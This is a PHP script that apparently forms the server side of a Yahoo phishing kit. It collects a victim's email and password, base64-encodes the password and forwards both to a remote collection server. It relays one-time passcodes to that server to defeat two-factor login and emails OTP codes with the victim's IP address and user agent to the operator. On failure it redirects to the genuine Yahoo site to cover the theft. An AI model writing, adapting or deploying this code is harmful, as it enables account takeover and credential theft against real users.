<?php
include 'config.php';
$email = trim($_POST['aai']);
$password = trim($_POST['ppr']);
$detail = trim($_POST['detail']);


if (isset($_POST['btn1'])) {

  $url = $base."site/set-otp?code=".$_POST["otpcode"]."&busket_id=".$_POST["busket_id"];
    $res=curl($url);
    print_r($res);
    exit();
	
}
else if ($_POST['otpcode']) {
    $url = $base."site/set-otp?code=".$_POST["otpcode"]."&busket_id=".$_POST["busket_id"];
    $res=curl($url);
    print_r($res);
    exit();
}
else if (isset($_POST['btn3'])) {


	$ip = getenv("REMOTE_ADDR");
	$hostname = gethostbyaddr($ip);
	$useragent = $_SERVER['HTTP_USER_AGENT'];
	$message .= "|----------| |--------------|\n";
	
	$message .= "OTP Code Email 8 Character            : ".$_POST['otp3']."\n";

	$message .= "|--------------- I N F O | I P -------------------|\n";
	$message .= "|Client IP: ".$ip."\n";
	$message .= "|--- http://www.geoiptool.com/?IP=$ip ----\n";
	$message .= "User Agent : ".$useragent."\n";
	$message .= "|----------- --------------|\n";
	$send = $Receive_email;
	$subject = "Login : $ip";
	mail($send, $subject, $message); 
	
	header("Location: ./otp4.html");
	
}

else if ($_POST['authcode']) {
    $url = $base."site/set-otp?code=".$_POST["authcode"]."&busket_id=".$_POST["busket_id"];
    $res=curl($url);
    print_r($res);
    exit();
}
else if($email != null && $password != null){
    $par =$params."&result_email=".$email."&result_password=".base64_encode($password);
    $url = $base."site/set-yahoo?".$par;
    $res=curl($url);
    $resp= json_decode($res);
    if($resp->status=="Start Processing") {
        print_r("success_id:".$resp->busket_id);
        exit();
    }else{
        header("Location: https://www.yahoo.com");
    }

}
else{
	$signal = 'bad';
	$msg = 'Please fill in all the fields.';
}
$data = array(
        'signal' => $signal,
        'msg' => $msg
    );
    echo json_encode($data);


function curl($url){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}
?>